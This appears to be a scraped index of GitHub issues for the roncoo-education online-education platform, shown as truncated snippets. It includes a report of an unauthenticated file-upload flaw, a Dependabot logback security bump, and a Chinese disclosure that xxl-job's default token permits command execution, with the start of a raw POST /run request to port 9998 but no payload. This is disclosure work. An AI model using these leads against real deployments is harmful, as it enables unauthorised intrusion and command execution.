roncoo-education
roncoo-education copied to clipboard
roncoo
领课教育系统（roncoo-education）是基于领课网络多年的在线教育平台开发和运营经验打造出来的产品，致力于打造一个各行业都适用的分布式在线教育系统。系统采用前后端分离模式，前台采用vue.js为核心框架，后台采用...
[Suggested description] File upload vulnerability in roncoo education. Because the identity is not authenticated in the uploadpic upload method of apiuploadcontroller, and the user is allowed to define the file...
Bumps [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) from 1.2.0 to 1.2.13. Commits 2648b9e prepare release 1.2.13 bb09515 fix CVE-2023-6378 4573294 start work on 1.2.13-SNAPSHOT a388193 Merge branch 'branch_1.2.x' of github.com:qos-ch/logback into branch_1.2.x de44dc4 prepare release...
![dependabot[bot] avatar](https://avatars.githubusercontent.com/in/29110?v=4 "dependabot[bot] avatar"){kind=avatar}
1.ｘ使用的ｘｌ－ｊｏｂ组件存在默认的ｔｏｋｅｎ值，将会导致命令执行的风险  找到ｘｘｌ的接口端口，默认是9998 POST /run HTTP/1.1 Host: 127.0.0.1:9998 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest:...
